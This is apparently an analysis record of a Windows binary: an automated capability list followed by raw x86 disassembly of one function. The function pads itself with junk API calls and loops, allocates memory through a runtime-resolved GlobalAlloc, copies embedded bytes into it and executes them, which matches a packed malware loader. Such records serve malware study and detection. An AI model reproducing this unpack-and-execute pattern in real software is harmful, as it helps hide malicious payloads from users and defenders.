Function at 0x40b150
Capabilities:
Check for software breakpoints
Connect pipe
Get common file path
Get file attributes
Get geographical location
Set console window title
Set http header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x410c86
mov eax, dword fs:[0]
push eax
sub esp, 0x898
mov eax, dword [0x42907c]
xor eax, esp
mov dword [esp + 0x890], eax
push ebx
push esi
push edi
mov eax, dword [0x42907c]
xor eax, esp
push eax
lea eax, [esp + 0x8a8]
mov dword fs:[0], eax
mov edx, dword [0x42ad80]
mov ecx, dword [0x52aefc]
xor edi, edi
xor eax, eax
mov esi, 0xec58acac
cmp eax, 0x8450db
jne 0x40b1b2
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40b1ca
mov dword [0x42c4d0], esi
mov dword [0x42c4d4], 0xffffffff
inc eax
cmp eax, 0xb9fa618
jl 0x40b1a5
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x52aefc], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x40b1f2
mov eax, dword [0x42ad74]
mov dword [0x52b284], eax
cmp ecx, 0x3c
jne 0x40b200
push edi
call ebx
mov ecx, dword [0x52aefc]
inc esi
cmp esi, 0x5f6c74
jl 0x40b1e0
cmp ecx, 0x7c
jne 0x40b39a
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push edi
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push edi
push edi
call dword [sym.imp.USER32.dll_LoadIconA]
lea edx, [esp + 0x64]
push edx
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push edi
push edi
lea ecx, [esp + 0xa4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push edi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomA]
push edi
call esi
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x52aefc], 0x2d
jne 0x40b2af
push edi
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x8b0], edi
mov ebx, 0xf
mov dword [esp + 0x3c], edi
lea edi, [ebx + 0x21]
lea esi, [esp + 0x2c]
mov dword [esp + 0x40], ebx
mov byte [esp + 0x2c], 0
call fcn.004011d0
push 1
lea ecx, [esp + 0x1c]
mov byte [esp + 0x8b4], 1
call fcn.00401450
mov byte [esp + 0x8b0], 3
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x40b31f
mov eax, esi
mov dword [edi + 0x14], ebx
push eax
mov dword [edi + 0x10], 0
or eax, 0xffffffff
xor ebx, ebx
mov ecx, edi
mov byte [edi], 0
call fcn.004015a0
add edi, 0x1c
cmp dword [esp + 0x40], 0x10
jb 0x40b336
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.00402479
add esp, 4
push 0
call fcn.00402484
mov dword [esp + 0x8b4], 0xffffffff
mov ebx, dword [esp + 0x1c]
add esp, 4
test ebx, ebx
je 0x40b392
mov esi, ebx
cmp ebx, edi
je 0x40b389
lea esp, [esp]
cmp dword [esi + 0x14], 0x10
jb 0x40b371
mov eax, dword [esi]
push eax
call fcn.00402479
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
add esi, 0x1c
cmp esi, edi
jne 0x40b360
push ebx
call fcn.00402479
add esp, 4
mov ecx, dword [0x52aefc]
xor edi, edi
cmp ecx, 0x110a
jne 0x40b48a
push edi
push edi
push edi
push edi
mov dword [0x52aef0], edi
mov dword [0x52aef4], edi
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
cmp dword [0x52aefc], 0xcc
jne 0x40b3d2
mov dword [0x42c4c8], 0x14
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push str.zipinuterot
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push str.bohomecocomoxiwolepadewusavapexo
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
call fcn.00402211
mov edi, 7
xor edx, edx
xor ebx, ebx
add esp, 4
lea esi, [edi - 6]
lea eax, [esp + 0x2c]
mov dword [esp + 0x40], edi
mov dword [esp + 0x3c], ebx
mov word [esp + 0x2c], dx
call fcn.004012a0
push str.0__s__d__f
mov dword [esp + 0x8b4], 4
call fcn.00402322
add esp, 4
push ebx
call fcn.00402211
xor eax, eax
mov word [esp + 0x4c], ax
add esp, 4
lea eax, [esp + 0x48]
mov dword [esp + 0x5c], edi
mov dword [esp + 0x58], ebx
call fcn.004012a0
push ebx
call fcn.00402211
add esp, 4
push 0x427668
push 0x42bfd0
call fcn.00401ce4
push ebx
call fcn.00402462
add esp, 0xc
push ebx
call fcn.0040276e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.GlobalAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x52aefc]
push ecx
push edi
mov dword [0x52ac20], eax
call eax
xor esi, esi
mov dword [0x52ac1c], eax
cmp dword [0x52aefc], edi
jbe 0x40b50d
mov ebx, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
jmp 0x40b4d0
mov edx, dword [0x52b284]
mov dword [esp + 0x18], edx
mov eax, 0xa231
add dword [esp + 0x18], eax
cmp dword [0x52aefc], 0x5ab
mov eax, dword [esp + 0x18]
mov cl, byte [eax + esi]
mov edx, dword [0x52ac1c]
mov byte [edx + esi], cl
jne 0x40b504
push edi
push edi
push edi
call ebx
inc esi
cmp esi, dword [0x52aefc]
jb 0x40b4d0
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x42766c
call esi
call fcn.0040ae80
mov eax, dword [0x52aefc]
mov ecx, dword [0x52ac1c]
mov edi, dword [0x429f60]
mov ebx, eax
mov dword [esp + 0x28], ecx
cmp eax, 0x930
jne 0x40b54a
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x52aefc]
mov dword [0x52ac18], edi
cmp eax, 0x114e
jne 0x40b56c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
call esi
mov eax, dword [0x52aefc]
cmp eax, 0x2f
jne 0x40b5a2
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
xor edx, edx
push edx
lea eax, [esp + 0x20]
push eax
push ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push 0
lea ecx, [esp + 0xa0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov edx, dword [esp + 0x28]
push edx
mov edi, ebx
call fcn.0040afe0
add dword [0x52ac1c], 0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 4
xor esi, esi
lea esp, [esp]
lea eax, [esp + 0x74]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40b5f3
cmp dword [esp + 0x7c], 0xf5bed7
jne 0x40b5fc
inc esi
cmp esi, 0x1ece7a52
jl 0x40b5d0
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleDisplayMode]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
cmp dword [0x52aefc], 0xcc1
jne 0x40b61e
push 0
push 0
push 0
call ebx
cmp esi, 0x12e6c3
jne 0x40b632
mov eax, dword [0x52ac1c]
mov dword [0x52aef8], eax
call eax
cmp dword [0x52aefc], 0x3dc
mov dword [0x52ac24], 0x8e46a6f0
jne 0x40b65b
push 0
push 0
push 0
push 0
push 0
push 0
push str.vuyareyifovonij
call edi
inc esi
cmp esi, 0x1519a5
jl 0x40b60a
mov ecx, dword [esp + 0x8a8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x890]
xor ecx, esp
call fcn.00401cd5
mov esp, ebp
pop ebp
ret